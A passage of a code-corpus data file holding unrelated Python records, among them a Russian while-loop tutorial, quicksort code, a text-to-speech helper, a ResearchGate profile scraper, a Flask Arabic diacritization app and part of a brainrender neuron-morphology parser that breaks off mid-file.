xticklabels=corr.columns.values, yticklabels=corr.columns.values)\npylab.show()\n","sub_path":"correlation.py","file_name":"correlation.py","file_ext":"py","file_size_in_byte":790,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"248232367","text":"#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n\n#\n# Цикл while\n#\n\n# Цикл while имеет следующее формальное определение:\n\t\n# while условное_выражение:\n# инструкции\n\n# После ключевого слова while указывается условное выражение, \n# и пока это выражение возвращает значение True, будет \n# выполняться блок инструкций, который идет далее.\n\n# Все инструкции, которые относятся к циклу while, \n# располагаются на последующих строках и должны иметь \n# отступ от начала строки.\n\nchoice = \"y\"\n \nwhile choice.lower() == \"y\":\n print(\"Привет\")\n choice = input(\"Для продолжения нажмите Y, а для выхода любую другую клавишу: \")\nprint(\"Работа программы завешена\")\n\n# В данном случае цикл while будет продолжаться, пока \n# переменная choice содержит латинскую букву \"Y\" или \"y\".\n\n# Вычисление факториала:\n \nnumber = int(input(\"Введите число: \"))\ni = 1\nfactorial = 1\nwhile i <= number:\n factorial *= i\n i += 1\nprint(\"Факториал числа\", number, \"равен\", factorial)\n\n# Здесь вводит с консоли некоторое число, и пока \n# число-счетчик i не будет больше введенного числа, \n# будет выполняться цикл, в котором происходит \n# умножения числа factorial.","sub_path":"Ex12.py","file_name":"Ex12.py","file_ext":"py","file_size_in_byte":1765,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"118027084","text":"import entities\nimport worldmodel\nimport pygame\nimport math\nimport random\nimport point\nimport image_store\n\nBLOB_RATE_SCALE = 4\nBLOB_ANIMATION_RATE_SCALE = 50\nBLOB_ANIMATION_MIN = 1\nBLOB_ANIMATION_MAX = 3\n\nORE_CORRUPT_MIN = 20000\nORE_CORRUPT_MAX = 30000\n\nQUAKE_STEPS = 10\nQUAKE_DURATION = 1100\nQUAKE_ANIMATION_RATE = 100\n\nVEIN_SPAWN_DELAY = 500\nVEIN_RATE_MIN = 8000\nVEIN_RATE_MAX = 17000\n\n\ndef sign(x):\n if x < 0:\n return -1\n elif x > 0:\n return 1\n else:\n return 0\n\n\ndef adjacent(pt1, pt2): #function\n return ((pt1.x == pt2.x and abs(pt1.y - pt2.y) == 1) or\n (pt1.y == pt2.y and abs(pt1.x - pt2.x) == 1))\n\n\ndef next_position(world, entity_pt, dest_pt): #function\n horiz = sign(dest_pt.x - entity_pt.x)\n new_pt = point.Point(entity_pt.x + horiz, entity_pt.y)\n\n if horiz == 0 or worldmodel.is_occupied(world, new_pt):\n vert = sign(dest_pt.y - entity_pt.y)\n new_pt = point.Point(entity_pt.x, entity_pt.y + vert)\n\n if vert == 0 or worldmodel.is_occupied(world, new_pt):\n new_pt = point.Point(entity_pt.x, entity_pt.y)\n\n return new_pt\n\n\ndef blob_next_position(world, entity_pt, dest_pt): #blobs with blob to vein\n horiz = sign(dest_pt.x - entity_pt.x)\n new_pt = point.Point(entity_pt.x + horiz, entity_pt.y)\n\n if horiz == 0 or (worldmodel.is_occupied(world, new_pt) and\n not isinstance(world.get_tile_occupant(new_pt),\n entities.Ore)):\n vert = sign(dest_pt.y - entity_pt.y)\n new_pt = point.Point(entity_pt.x, entity_pt.y + vert)\n\n if vert == 0 or (worldmodel.is_occupied(world, new_pt) and\n not isinstance(world.get_tile_occupant(new_pt),\n entities.Ore)):\n new_pt = point.Point(entity_pt.x, entity_pt.y)\n\n return new_pt\n\n\n\ndef find_open_around(world, pt, distance): #function\n for dy in range(-distance, distance + 1):\n for dx in range(-distance, distance + 1):\n new_pt = point.Point(pt.x + dx, pt.y + dy)\n\n if (world.within_bounds(new_pt) and\n (not worldmodel.is_occupied(world, new_pt))):\n return new_pt\n\n return None\n\n\n\ndef create_animation_action(world, entity, repeat_count): #function\n def action(current_ticks):\n entity.remove_pending_action(action)\n\n entity.next_image()\n\n if repeat_count != 1:\n schedule_action(entity, world,\n create_animation_action(world, entity, max(repeat_count - 1, 0)),\n current_ticks + entity.get_animation_rate())\n\n return [entity.get_position()]\n return action\n\n\ndef remove_entity(entity, world): #function\n for action in entity.get_pending_actions():\n world.unschedule_action(action)\n entity.clear_pending_actions()\n world.remove_entity(entity)\n\n\n\ndef schedule_action(entity, world, action, time): #function\n entity.add_pending_action(action)\n world.schedule_action(action, time)\n\n\ndef schedule_animation(entity, world, repeat_count=0): #function\n schedule_action(entity, world,\n create_animation_action(world, entity, repeat_count),\n entity.get_animation_rate())\n\n","sub_path":"actions.py","file_name":"actions.py","file_ext":"py","file_size_in_byte":3039,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"304396600","text":"#!/usr/bin/env python\n\nimport sys, os, re\nimport mmap\nimport linecache\n\n#input_f = \"/Users/huangyue-lun/PythonProjects/python-scripting-for-IC-design-flow/src/MergeInitpm/Init.pm\"\n#output_f = \"/Users/huangyue-lun/PythonProjects/python-scripting-for-IC-design-flow/src/MergeInitpm/newInit.pm\"\ninput_f = \"/Users/vend_Eren001/Local_vend_Eren001/py_workspace/python-scripting-for-IC-design-flow/src/MergeInitpm/Init.pm\"\noutput_f = \"/Users/vend_Eren001/Local_vend_Eren001/py_workspace/python-scripting-for-IC-design-flow/src/MergeInitpm/newInit.pm\"\n\ncmp_list = ['TBLRSCRIMNUSA', 'TBLRSCRIMNUSB']\n\nwith open(input_f, 'r') as f:\n data = f.read().replace('\\n', ' ')\n# print('--' * 40)\n# print(r'[ %compobj ]')\n print('--' * 40)\n m = re.search(r'@foundry_ok\\s+=\\s+\\((.*)\\);\\s+%process_ok', data)\n print(r'[ @foundry_ok ]')\n print(m.group(1))\n print('--' * 40)\n m = re.search(r'%process_ok\\s+=\\s+\\((.*)\\);\\s+%compiler_ok', data)\n print(r'[ %process_ok ]')\n print(m.group(1))\n foundry = 'TSMC'\n m_test = re.search(foundry, m.group(1))\n print(m_test)\n print('--' * 40)\n m = re.search(r'%compiler_ok\\s+=\\s+\\((.*)\\);\\s+%compobj_ok', data)\n print(r'[ %compiler_ok ]')\n compiler_ok = m.group(1)\n print(compiler_ok)\n print('--' * 40)\n print(r'[ compobj_ok ]')\n print(\"\\n \\\"\" + cmp_list[0] + \"\\\" => [\" + \n \"\\n [$compobj{\\\"\" + cmp_list[0] + \"\\\"}->[0]->comp_version,$compobj{\\\"\" + cmp_list[0] + \"\\\"}->[0]],\" +\n \"\\n ],\\n\")\n print(\"\\n \\\"\" + cmp_list[1] + \"\\\" => [\" + \n \"\\n [$compobj{\\\"\" + cmp_list[1] + \"\\\"}->[0]->comp_version,$compobj{\\\"\" + cmp_list[1] + \"\\\"}->[0]],\" +\n \"\\n ],\\n\")\n\nwith open(output_f, 'w') as f:\n str1 = \"\\n \\\"\" + cmp_list[0] + \"\\\" => [\" +\\\n \"\\n [$compobj{\\\"\" + cmp_list[0] + \"\\\"}->[0]->comp_version,$compobj{\\\"\" + cmp_list[0] + \"\\\"}->[0]],\" +\\\n \"\\n ],\\n\"\n str2 = \"\\n \\\"\" + cmp_list[1] + \"\\\" => [\" +\\\n \"\\n [$compobj{\\\"\" + cmp_list[1] + \"\\\"}->[0]->comp_version,$compobj{\\\"\" + cmp_list[1] + \"\\\"}->[0]],\" +\\\n \"\\n ],\\n\"\n str = str1 + str2\n f.write(str)\n\n","sub_path":"src/MergeInitpm/merge_initpm.py","file_name":"merge_initpm.py","file_ext":"py","file_size_in_byte":2116,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"38800137","text":"def quickSort(arr):\n tam = len(arr)\n if (tam < 2): return arr\n pivp = getpivot(arr, 0, tam - 1)\n pivot = arr[pivp]\n menor, igual, maior = [], [], []\n for number in arr:\n if (number < pivot): menor.append(number)\n elif (number > pivot): maior.append(number)\n else: igual.append(number)\n return (quickSort(menor) + igual + quickSort(maior))\n\n\ndef getpivot(arr, c, f):\n m = (c + f) // 2\n pivot = f\n if (arr[c] < arr[m]):\n if (arr[c] < arr[f]):\n pivot = m\n elif (arr[c] < arr[f]):\n pivot = c\n return pivot\n\n\ndef partition(arr, c, f):\n p = getpivot(arr, c, f)\n arr[p], arr[f] = arr[f], arr[p]\n pivot = arr[f]\n x = c - 1\n for y in range(c,f):\n if arr[y] < pivot:\n x += 1\n arr[x],arr[y] = arr[y], arr[x]\n arr[x + 1], arr[f] = arr[f], arr[x + 1]\n return (x+1)\n\n\ndef quick(arr, c, f):\n if c < f:\n p = partition(arr,c,f)\n quick(arr, c, p - 1)\n quick(arr,p + 1, f)\n return arr\n\n\ndef quicker(arr):\n return quick(arr, 0, len(arr)-1)\n","sub_path":"sorting-algorithms/quick-sort.py","file_name":"quick-sort.py","file_ext":"py","file_size_in_byte":1124,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"23049915","text":"from gtts import gTTS\nimport os\n\ndef say(Talk,TimeOfDay=None, slow=False): #Responses for cleaner code\n if Talk == \"GOOD\":\n tts = gTTS(text=\"Good {0}, How Can I Help You?\".format(TimeOfDay), lang=\"en\")\n tts.save(\"greet.mp3\")\n os.system(\"mpg321 greet.mp3\")\n\n elif Talk == \"DONE\":\n tts = gTTS(text=\"I'm Done\", lang=\"en\")\n tts.save(\"greet.mp3\")\n os.system(\"mpg321 greet.mp3\")\n\n elif Talk == \"ERROR\":\n tts = gTTS(text=\"There was an error, let's try that again.\", lang=\"en\")\n tts.save(\"greet.mp3\")\n os.system(\"mpg321 greet.mp3\")\n\n elif Talk == \"EMAIL\":\n tts = gTTS(text=\"Would you like me to email that to you?\", lang=\"en\")\n tts.save(\"greet.mp3\")\n os.system(\"mpg321 greet.mp3\")\n\n elif Talk == \"NOTHING\":\n tts = gTTS(text=\"I'm sorry, I could not understand you.\", lang=\"en\")\n tts.save(\"greet.mp3\")\n os.system(\"mpg321 greet.mp3\")\n\n else:\n tts = gTTS(text=Talk, lang=\"en\", slow=slow)\n tts.save(\"greet.mp3\")\n os.system(\"mpg321 greet.mp3\")\n","sub_path":"mods/say.py","file_name":"say.py","file_ext":"py","file_size_in_byte":1074,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"222878079","text":"from __future__ import print_function\nimport os\nimport sys\nimport warnings\nfrom optparse import OptionParser\nfrom gsf_core import *\n\n#Parse the commands#\n#-------------------#\nparser = OptionParser()\nparser.add_option(\"-w\", \"--warning\", dest=\"warning\",\n action=\"store_true\", default=False,\n help=\"Stop ignoring the warnings.\")\nparser.add_option(\"-o\", \"--overwrite\", dest=\"overwrite\",\n action=\"store_true\", default=False,\n help=\"Overwrite the object information with the command-line inputs.\")\n(options, args) = parser.parse_args()\nif len(args) == 0:\n raise AssertionError(\"The config file is not specified!\")\nelse:\n configName = args[0] #Get the input configure file information.\n#Some times the warning may stop the code, so we ignore the warnings by default.\nif options.warning:\n pass\nelse:\n warnings.simplefilter(\"ignore\")\n\n#The starter of this module#\n#--------------------------#\nprint(\"\\n\")\nprint(\"############################\")\nprint(\"# Galaxy SED Fitter starts #\")\nprint(\"############################\")\nprint(\"\\n\")\n#->The object can be provided by the configure file or be overwrite with the\n#command-line inputs\nlen_args = len(args)\nif not options.overwrite:\n if len_args > 1:\n print(\"**Warning[UniFit]: there are more arguments may not be used...\")\n gsf_fitter(configName)\nelse:\n if len_args < 4:\n raise AssertionError(\"The object information is lacking!\")\n if len_args == 4:\n targname = args[1]\n redshift = eval(args[2])\n distance = None\n sedFile = args[3]\n elif len_args == 5:\n targname = args[1]\n redshift = eval(args[2])\n distance = eval(args[3]) #The distance should be in Mpc.\n sedFile = args[4]\n else:\n print(\"**Warning[UniFit]: there are more arguments may not be used...\")\n gsf_fitter(configName, targname, redshift, distance, sedFile)\n","sub_path":"gsf.py","file_name":"gsf.py","file_ext":"py","file_size_in_byte":1935,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"456043731","text":"from selenium import webdriver\nfrom selenium.webdriver.chrome.options import Options\nfrom random_user_agent.user_agent import UserAgent\nfrom random_user_agent.params import SoftwareName, OperatingSystem\nimport time\nimport json\n\n\n# Получение фейкового user-agent\ndef get_agent():\n software_names = [SoftwareName.CHROME.value]\n operating_systems = [OperatingSystem.WINDOWS.value, OperatingSystem.LINUX.value]\n user_agent_rotator = UserAgent(software_names=software_names, operating_systems=operating_systems, limit=100)\n # Получить случайную строку пользовательского агента.\n user_agent = user_agent_rotator.get_random_user_agent()\n return user_agent\n\n\nchromedriver = '/Users/danil/Downloads/chromedriver'\noptions = Options()\noptions.add_argument(f'user-agent={get_agent()}')\ndriver = webdriver.Chrome(chrome_options=options, executable_path=chromedriver)\n\n\ndict_profiles = {} # Словарь вида \"имя- [дисциплины]\"\n\n\n# Парсинг сайта\ndef parsing_data(page: str):\n driver.get(page)\n time.sleep(1)\n profiles = driver.find_elements_by_xpath('// div [@class=\"nova-v-person-list-item__stack nova-v-person-list-item__'\n 'stack--gutter-m\"]')\n\n exclusion_disciplien = ['Department of Information Systems', 'Department of Computer Engineering',\n 'Department of Power Engineering', 'Information Technology', 'Civil Engineering',\n 'Department of Applied Mathematics', 'Computer Science', 'Department of Telecommunications',\n ]\n for profile in profiles:\n name = profile.find_element_by_xpath('.//h5 [@class=\"nova-e-text nova-e-text--size-l nova-e-text--family-sans-'\n 'serif nova-e-text--spacing-none nova-e-text--color-inherit nova-e-text--'\n 'clamp nova-v-person-list-item__title\"]').text\n name = name.replace(\"\\'\", \"\\\"\")\n arr_disciplies = []\n try:\n disciplines = profile.find_elements_by_xpath('.//li[@class=\"nova-e-list__item nova-v-person-list-item__'\n 'info-section-list-item\"]//a')\n for discipline in disciplines:\n if (discipline.text in exclusion_disciplien) == True:\n pass\n else:\n disp_title = (discipline.text).replace(\"\\'\", \"\\\"\")\n arr_disciplies.append(disp_title)\n except:\n pass\n dict_profiles.update(\n {\n name: arr_disciplies\n }\n )\n\n\nparsing_data('https://www.researchgate.net/institution/Ulyanovsk_State_Technical_University/members')\nparsing_data('https://www.researchgate.net/institution/Ulyanovsk_State_Technical_University/members/2')\ndriver.quit()\nwith open('profiles.json', 'w') as outfile:\n json.dump(dict_profiles, outfile)\n","sub_path":"parser_researchgate.py","file_name":"parser_researchgate.py","file_ext":"py","file_size_in_byte":3040,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"213026652","text":"\nclass _fake_sys:\n\tdef __init__(self):\n\t\tself.stdin = process.stdin\n\t\tself.stdout = process.stdout\n\t\tself.stderr = process.stderr\n\t\tself.argv = list()\n\t\tfor arg in process.argv:\n\t\t\tself.argv.append( arg )\n\n\n\tdef exit(self):\n\t\tprocess.exit()\n\n\n\nsys = _fake_sys()\n","sub_path":"nodejs/bindings/sys.py","file_name":"sys.py","file_ext":"py","file_size_in_byte":262,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"279389798","text":"\"\"\"\nFlask Documentation: http://flask.pocoo.org/docs/\nJinja2 Documentation: http://jinja.pocoo.org/2/documentation/\nWerkzeug Documentation: http://werkzeug.pocoo.org/documentation/\nThis file creates your application.\n\"\"\"\n\nfrom app import app, db\nfrom flask import render_template, request, redirect, url_for, flash\nfrom .models import User\nimport os\nfrom .Shakkala import Shakkala\nfrom keras import backend as K\n\nimport tensorflow as tf\n# import sqlite3\n\n###\n# Routing for your application.\n###\n\n@app.route('/')\ndef home():\n \"\"\"Render website's home page.\"\"\"\n return render_template('home.html')\n\n\n@app.route('/add-tashkeela', methods=['POST', 'GET'])\ndef add_tashkeela():\n if request.method == 'POST':\n\n input_text = request.form['inputText']\n final_output = 'يرجى إدخال النص في الخانة السابقة'\n if input_text != \"\":\n folder_location = os.path.dirname(os.path.abspath(__file__))\n sh = Shakkala(folder_location)\n input_int = sh.prepare_input(input_text)\n K.clear_session()\n model, graph = sh.get_model()\n with graph.as_default():\n logits = model.predict(input_int)[0]\n predicted_harakat = sh.logits_to_text(logits)\n final_output = sh.get_final_text(input_text, predicted_harakat)\n\n return render_template('add_tashkeela.html', outputText = final_output, inputText = input_text)\n return render_template('add_tashkeela.html', outputText=\"\", inputText=\"\")\n\n# Flash errors from the form if validation fails\ndef flash_errors(form):\n for field, errors in form.errors.items():\n for error in errors:\n flash(u\"Error in the %s field - %s\" % (\n getattr(form, field).label.text,\n error\n ))\n\n###\n# The functions below should be applicable to all Flask apps.\n###\n\n@app.route('/.txt')\ndef send_text_file(file_name):\n \"\"\"Send your static text file.\"\"\"\n file_dot_text = file_name + '.txt'\n return app.send_static_file(file_dot_text)\n\n\n@app.after_request\ndef add_header(response):\n \"\"\"\n Add headers to both force latest IE rendering engine or Chrome Frame,\n and also to cache the rendered page for 10 minutes.\n \"\"\"\n response.headers['X-UA-Compatible'] = 'IE=Edge,chrome=1'\n response.headers['Cache-Control'] = 'public, max-age=600'\n return response\n\n\n@app.errorhandler(404)\ndef page_not_found(error):\n \"\"\"Custom 404 page.\"\"\"\n return render_template('404.html'), 404\n\n\n","sub_path":"Tashkeela_IST/app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2538,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"445585075","text":"import sys\nsys.path.append('./')\n\nimport os\nfrom vtkplotter import shapes, load, merge\n\nimport pandas as pd\nimport numpy as np\nfrom collections import namedtuple\n\nimport allensdk.core.swc as allen_swc\n\nfrom brainrender.Utils.data_io import load_json, listdir, save_json\nfrom brainrender.Utils.data_manipulation import get_coords, mirror_actor_at_point\nfrom brainrender.colors import get_random_colors, colorMap, check_colors\nfrom brainrender import DEFAULT_NEURITE_RADIUS, USE_MORPHOLOGY_CACHE, SOMA_RADIUS, DECIMATE_NEURONS, SMOOTH_NEURONS\nfrom brainrender import NEURON_RESOLUTION\n\nfrom brainrender.Utils.paths_manager import Paths\n\n\nclass NeuronsParser(Paths):\n\t\"\"\" \n\t\tTakes care of parsing neuron's morphology data from different formats (.json, .swc) and rendering them as vtk actors. \n\t\tSupports various ways to specify how things should be rendered and classes to edit/modify rendered neurons. \n\t\tAlso saves and loads the results of parsing. \n\t\"\"\"\n\tdef __init__(self, scene=None, \n\t\t\t\trender_neurites = True, mirror=False, \n\t\t\t\tneurite_radius=None, color_by_region=False, force_to_hemisphere=None, base_dir=None,\n\t\t\t\tcolor_neurites=True, axon_color=None, soma_color=None, dendrites_color=None, random_color=False, **kwargs):\n\t\t\"\"\"\n\t\tSet up variables used for rendering\n\n\t\t:param scene: instance of class brainrender.Scene (Default value = None)\n\t\t:param render_neurites: Bool, If true, axons and dendrites are rendered (Default value = True)\n\t\t:param neurite_radius: float with radius of axons and dendrites. If None default is used. (Default value = None)\n\t\t:param color_neurites: Bool, if True axons and neurites are colored differently from the soma (Default value = True)\n\t\t:param mirror: Bool if True neurons are mirrored so that there is a version in each hemisphere (Default value = None)\n\t\t:param soma_color: soma_color color of the neurons' soma. Also used for neurites if they are not to be colored differently (Default value = None)\n\t\t:param axon_color: color of the neurons' axon. If none or False, the soma's color is used. (Default value = None)\n\t\t:param dendrites_color: color of the neurons' dendrites. If none or False, the soma's color is used.(Default value = None)\n\t\t:param random_color: Bool, if True a random color is used for each neuron. (Default value = False)\n\t\t:param color_by_region: bool, if True, neurons are colored according to the Allen Brain Atlas color for the region the soma is in. (Default value = False)\n\t\t:param force_to_hemisphere: str, if 'left' or 'right' neurons are rendered in the selected hemisphere, if False or None they are rendered in the original hemisphere. (Default value = None)\n\t\t:param base_dir: path to directory to use for saving data (default value None)\n\t\t:param kwargs: can be used to pass path to individual data folders. See brainrender/Utils/paths_manager.py\n\n\t\t\"\"\"\n\t\tself.scene = scene # for the meaning of the arguments check self.render_neurons\n\t\tself.render_neurites = render_neurites \n\t\tself.neurite_radius = neurite_radius \n\t\tself.color_neurites = color_neurites \n\t\tself.axon_color = axon_color \n\t\tself.soma_color = soma_color \n\t\tself.dendrites_color = dendrites_color \n\t\tself.random_color = random_color\n\t\tself.mirror = mirror\n\t\tself.color_by_region = color_by_region\n\t\tself.force_to_hemisphere = force_to_hemisphere\n\n\t\tPaths.__init__(self, base_dir=base_dir, **kwargs)\n\n\t\t# Load cache metadata\n\t\tself.cache_metadata = load_json(self.morphology_cache_metadata)\n\n\tdef render_neurons(self, ml_file, **kwargs):\n\t\t\"\"\"\n\t\tGiven a file with JSON data about neuronal structures downloaded from the Mouse Light neurons browser website,\n\t\tthis function creates VTKplotter actors that can be used to render the neurons, returns them as nested dictionaries.\n\n\t\t:param ml_file: str, path to a JSON file with neurons data\n\t\t:param **kwargs: see kwargs of NeuronsParser.__init__\n\t\t:returns: actors [list] -- [list of dictionaries, each dictionary contains the VTK actors of one neuron]\n\n\t\t\"\"\"\n\n\t\t# parse options\n\t\tif \"scene\" in list(kwargs.keys()):\n\t\t\tself.scene = kwargs['scene']\n\t\tif \"render_neurites\" in list(kwargs.keys()):\n\t\t\tself.render_neurites = kwargs['render_neurites']\n\t\tif \"neurite_radius\" in list(kwargs.keys()):\n\t\t\tself.neurite_radius = kwargs['neurite_radius']\n\t\tif \"color_neurites\" in list(kwargs.keys()):\n\t\t\tself.color_neurites = kwargs['color_neurites']\n\t\tif \"axon_color\" in list(kwargs.keys()):\n\t\t\tself.axon_color = kwargs['axon_color']\n\t\tif \"soma_color\" in list(kwargs.keys()):\n\t\t\tself.soma_color = kwargs['soma_color']\n\t\tif \"dendrites_color\" in list(kwargs.keys()):\n\t\t\tself.dendrites_color = kwargs['dendrites_color']\n\t\tif \"random_color\" in list(kwargs.keys()):\n\t\t\tself.random_color = kwargs['random_color']\n\t\tif \"mirror\" in list(kwargs.keys()):\n\t\t\tself.mirror = kwargs['mirror']\n\t\tif \"force_to_hemisphere\" in list(kwargs.keys()):\n\t\t\tself.force_to_hemisphere = kwargs['force_to_hemisphere']\n\t\tif 'color_by_region' in list(kwargs.keys()):\n\t\t\tself.color_by_region = kwargs['color_by_region']\n\n\t\tself.rendering_necessary = True # It won't be if we are dealing with a list of Allen .swc files\n\n\t\t# if mirror get mirror coordinates\n\t\tif self.mirror:\n\t\t\tself.mirror_coord = self.scene.get_region_CenterOfMass('root', unilateral=False)[2]\n\t\telse:\n\t\t\tself.mirror_coord = False\n\t\tself.mirror_ax = 'x'\n\n\t\t# Check neurite radius\n\t\tif self.neurite_radius is None:\n\t\t\tneurite_radius = DEFAULT_NEURITE_RADIUS ## NOT USED !!??\n\t\t\n\t\t# Load the data\n\t\tif isinstance(ml_file, (tuple, list)):\n\t\t\tcheckfile = ml_file[0]\n\t\t\tis_iter = True\n\t\t\tneurons_names = [os.path.split(f)[-1].split(\".\")[0] for f in ml_file]\n\t\telse:\n\t\t\tcheckfile = ml_file\n\t\t\tis_iter = False\n\t\t\tneurons_names = [os.path.split(ml_file)[-1].split(\".\")[0]]\n\n\t\tif \".swc\" in checkfile.lower():\n\t\t\tself.is_json = False\n\t\t\tdata = self.handle_parsing_swc(ml_file, is_iter)\n\t\telse:\n\t\t\tself.is_json = True\n\t\t\tif not is_iter:\n\t\t\t\tdata = load_json(checkfile)\n\t\t\t\tdata = data[\"neurons\"]\n\t\t\telse:\n\t\t\t\tdata = []\n\t\t\t\tfor f in ml_file:\n\t\t\t\t\tfdata = load_json(f)\n\t\t\t\t\tdata.extend(fdata['neurons'])\n\n\t\tif not self.rendering_necessary:\n\t\t\treturn self.actors, self.regions\n\t\telse:\t\n\t\t\t# Render neurons\n\t\t\tself.n_neurons = len(data)\n\t\t\tself.actors, self.regions = [], []\n\n\t\t\tif len(neurons_names) < self.n_neurons: \n\t\t\t\tname = neurons_names[0]\n\t\t\t\tneurons_names = [name+\"_{}\".format(i) for i in range(self.n_neurons)]\n\n\t\t\t# Loop over neurons\n\t\t\tfor nn, neuron in enumerate(data):\n\t\t\t\tneuron_actors, soma_region = self.render_neuron(neuron, nn, neurons_names[nn])\n\t\t\t\tself.actors.append(neuron_actors); self.regions.append(soma_region)\n\t\t\treturn self.actors, self.regions\n\n\tdef _render_neuron_get_params(self, neuron_number, neuron=None, soma_region=None, soma=None):\n\t\t\"\"\"\n\t\tMakes sure that all the parameters to specify how neurons should be rendered. \n\n\t\t:param neuron_number: number of the neuron being rendered\n\t\t:param neuron: neuron's metadata (Default value = None)\n\t\t:param soma_region: str with the acronym of the region the soma is in (Default value = None)\n\t\t:param soma: list with XYZ coordinates of the neuron's soma. (Default value = None)\n\n\t\t\"\"\"\n\t\t# Define colors of different components\n\t\tif not self.color_by_region:\n\t\t\tif self.random_color:\n\t\t\t\tif not isinstance(self.random_color, str):\n\t\t\t\t\tcolor = get_random_colors(n_colors=1)\n\t\t\t\telse: # random_color is a colormap \n\t\t\t\t\tcolor = colorMap(neuron_number, name=self.random_color, vmin=0, vmax=self.n_neurons)\n\t\t\t\taxon_color = soma_color = dendrites_color = color\n\t\t\telse:\n\t\t\t\tif self.soma_color is None:\n\t\t\t\t\tsoma_color = get_random_colors(n_colors=1)\n\n\t\t\t\tif not self.color_neurites:\n\t\t\t\t\taxon_color = dendrites_color = soma_color = self.soma_color\n\t\t\t\telse:\n\t\t\t\t\tsoma_color = self.soma_color\n\t\t\t\t\tif self.axon_color is None:\n\t\t\t\t\t\taxon_color = soma_color\n\t\t\t\t\telse:\n\t\t\t\t\t\taxon_color = self.axon_color\n\t\t\t\t\tif self.dendrites_color is None:\n\t\t\t\t\t\tdendrites_color = soma_color\n\t\t\t\t\telse:\n\t\t\t\t\t\tdendrites_color = self.dendrites_color\n\n\t\t\t# check that the colors make sense\n\t\t\tif not check_colors([soma_color, axon_color, dendrites_color]):\n\t\t\t\traise ValueError(\"The colors chosen are not valid: soma - {}, dendrites {}, axon {}\".format(soma_color, dendrites_color, axon_color))\n\n\t\t\t# check if we have lists of colors or single colors\n\t\t\tif isinstance(soma_color, list):\n\t\t\t\tif isinstance(soma_color[0], str) or isinstance(soma_color[0], list):\n\t\t\t\t\tsoma_color = soma_color[neuron_number]\n\t\t\tif isinstance(dendrites_color, list):\n\t\t\t\tif isinstance(dendrites_color[0], str) or isinstance(dendrites_color[0], list):\n\t\t\t\t\tdendrites_color = dendrites_color[neuron_number]\n\t\t\tif isinstance(axon_color, list):\n\t\t\t\tif isinstance(axon_color[0], str) or isinstance(axon_color[0], list):\n\t\t\t\t\taxon_color = axon_color[neuron_number] \n\n\t\t# get allen info: it containes the allenID of each brain region\n\t\t# each sample has the corresponding allen ID so we can recontruct in which brain region it is\n\t\tif neuron is not None:\n\t\t\tif 'allenInformation' in list(neuron.keys()):\n\t\t\t\tself.alleninfo = pd.DataFrame(neuron['allenInformation']) # get brain structure in which is the soma\n\t\t\t\tsoma_region = self.scene.get_structure_parent(self.alleninfo.loc[self.alleninfo.allenId == neuron['soma']['allenId']].acronym.values[0])['acronym']\n\t\t\telse:\n\t\t\t\tself.alleninfo = None\n\t\t\t\tsoma_region = self.scene.get_structure_from_coordinates(get_coords(neuron['soma']))\n\t\t\t\tif soma_region is not None:\n\t\t\t\t\tsoma_region = soma_region['acronym']\n\t\telif soma_region is None:\n\t\t\tself.alleninfo = None\n\t\t\tif soma is not None:\n\t\t\t\tsoma_region = self.scene.get_structure_from_coordinates(get_coords(soma))\n\t\t\t\tif soma_region is not None:\n\t\t\t\t\tsoma_region = soma_region['acronym']\n\t\t\telse:\n\t\t\t\traise ValueError(\"You need to pass either a neuron, or a soma region or a soma\")\n\t\telse:\n\t\t\tself.alleninfo = None\n\n\t\tif soma_region is not None:\n\t\t\tsoma_region = self.scene.get_structure_parent(soma_region)['acronym']\n\t\telse:\n\t\t\tsoma_region = \"root\"\n\n\t\tif self.color_by_region:\n\t\t\ttry:\n\t\t\t\tregion_color = self.scene.structure_tree.get_structures_by_acronym([soma_region])[0]['rgb_triplet']\n\t\t\texcept:\n\t\t\t\tprint(\"could not find default color for region: {}. Using random color instead\".format(soma_region))\n\t\t\t\tregion_color = get_random_colors(n_colors=1)\n\n\t\t\taxon_color = soma_color = dendrites_color = region_color\n\n\t\treturn soma_color, axon_color, dendrites_color, soma_region\n\n\tdef render_neuron(self, neuron, neuron_number, neuron_name):\n\t\t\"\"\"\n\t\tThis function takes care of rendering a single neuron.\n\n\t\t:param neuron: dictionary with neurons data\n\t\t:param neuron_number: number of neuron being rendered\n\t\t:param neuron_name: name of the neuron, used to load/save the .vtk files with the rendered neuron.\n\n\t\t\"\"\"\n\t\t# Prepare variables for rendering\n\t\tsoma_color, axon_color, dendrites_color, soma_region = self._render_neuron_get_params(neuron_number, neuron=neuron)\n\t\t\n\t\t# create soma actor\n\t\tneuron_actors = None\n\t\tif USE_MORPHOLOGY_CACHE:\n\t\t\tparams = dict(\n\t\t\t\t\tforce_to_hemisphere = self.force_to_hemisphere,\n\t\t\t\t\tneurite_radius = self.neurite_radius,\n\t\t\t\t)\n\t\t\tneuron_actors = self._load_cached_neuron(neuron_name, params)\n\t\t\tif neuron_actors is not None:\n\t\t\t\t# Color the loaded neuron\n\t\t\t\tfor component, color in zip(['soma', 'dendrites', 'axon'], [soma_color, dendrites_color, axon_color]):\n\t\t\t\t\tif component in list(neuron_actors.keys()):\n\t\t\t\t\t\tneuron_actors[component].color(color)\n\t\t\t\treturn neuron_actors, {'soma':soma_region, 'dendrites':None, 'axons':None}\n\n\t\tif not USE_MORPHOLOGY_CACHE or neuron_actors is None:\n\t\t\tprint(\"Parsing neuron: \" + neuron_name)\n\t\t\tneuron_actors = {}\n\n\t\t\tself.soma_coords = get_coords(neuron[\"soma\"], mirror=self.mirror_coord, mirror_ax=self.mirror_ax)\n\t\t\tneuron_actors['soma'] = 